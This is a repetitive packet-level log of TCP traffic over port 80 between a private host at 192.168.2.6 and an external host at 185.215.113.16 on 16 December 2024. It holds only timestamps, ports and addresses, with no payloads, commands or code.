Dec 16, 2024 15:38:30.684925079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.684947014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.684957981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.684969902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.684997082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.685611963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.685676098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.685684919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.685729027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.685781002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.685844898 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.686510086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.686539888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.686547041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.686594009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.686623096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.686659098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.687191010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.687246084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.687285900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.687304974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.687333107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.687364101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.687977076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.687995911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.688010931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.688046932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.688108921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.688177109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.688838005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.688967943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.688976049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.689008951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.689229012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.689498901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.689789057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.689842939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.689851046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.689893007 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.689907074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.689954042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.690361977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.690388918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.690403938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.690445900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.737499952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737517118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737545967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737560034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737565041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.737572908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737587929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737588882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.737598896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737607002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737617016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737628937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.737631083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737664938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.737777948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737786055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737854958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.737966061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.737966061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.738398075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.738466024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.738472939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.738543034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.738544941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.738611937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.739094973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.739190102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.739196062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.739244938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.739603996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.740012884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.740082026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.821043015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.821110964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.821124077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.821212053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.821224928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.821290016 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.821324110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.821331024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.821372986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.821405888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.821997881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.822094917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.822146893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.822164059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.822170973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.822207928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.822277069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.822326899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.822797060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.822849989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.822866917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.822906971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.822973013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.823067904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.823796034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.823807001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.823820114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.823853970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.823983908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.824388027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.824441910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.824450970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.824525118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.870374918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.870495081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.870587111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.870628119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.870640993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.870682001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.870769024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.870784998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.870791912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.870831966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.871340036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.871412039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.871453047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.871632099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.871639013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.871678114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.872056007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.872111082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.872133970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.872139931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.872181892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.872317076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.872873068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.872930050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.872940063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.872984886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.873009920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.873608112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.873681068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.873693943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.873728037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.873769045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.873769999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.874380112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.874418020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.874428034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.874475956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.874505043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.875166893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.875220060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.875225067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.875324011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.875324011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.875324965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.875988960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.876065969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.876076937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.876130104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.876140118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.876810074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.876909018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.876919985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.876964092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.876993895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.877588987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.877676964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.877682924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.877734900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.877823114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.878437042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.878475904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.878480911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.878530025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.878612041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.879179001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.879235029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.879240036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.879287004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.879336119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.879951000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.879991055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.879996061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.880058050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.880095959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.880724907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.880774021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.880779982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.880841970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.880870104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.881575108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.881654024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.881660938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.881676912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.881711960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.882378101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.882426977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.882441998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.882477045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.882477045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.882509947 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.926204920 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.937278032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.937285900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.937298059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.937376022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.937413931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.937573910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.937629938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.937653065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.937659025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.937700987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.937726021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.938568115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.938571930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.938652992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.938659906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.938707113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.938787937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.938832998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.939630985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.939716101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.939749956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.939755917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.939801931 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.940476894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.940567017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.940573931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.940622091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.940650940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.940826893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.013514042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.013699055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.013705015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.013717890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.013758898 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.013787031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.013803959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.013878107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.013884068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.013938904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.014795065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.014848948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.014854908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.014909029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.014914989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.015388012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.015393019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.015404940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.015453100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.015466928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.016035080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.016041040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.016063929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.016069889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.016110897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.016139030 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.016627073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.016720057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.016729116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.062918901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.062978983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.062987089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063047886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.063076973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063226938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063277960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.063296080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063302040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063396931 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.063695908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063735008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063746929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063806057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.063832045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.063874960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.064466000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.064513922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.064519882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.064579010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.064657927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.064775944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.065282106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.065325022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.065331936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.065375090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.065402031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.065444946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.066049099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.066102982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.066114902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.066178083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.066210032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.066313982 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.066857100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.066940069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.066946030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.067018986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.067019939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.067091942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.067641020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.067682028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.067687988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.067739010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.067768097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.067831039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.068500042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.068550110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.068557024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.068603039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.068669081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.068738937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.069214106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.069274902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.069282055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.069340944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.069374084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.069463968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.070303917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.070311069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.070323944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.070374966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.070410967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.070475101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.070847034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.070933104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.070940018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.070991039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.071010113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.071058035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.071595907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.071660995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.071666956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.071712971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.071741104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.071789980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.072412014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.072489023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.072495937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.072542906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.072552919 CET	80	49747	185.215.113.16	192.168.2.6
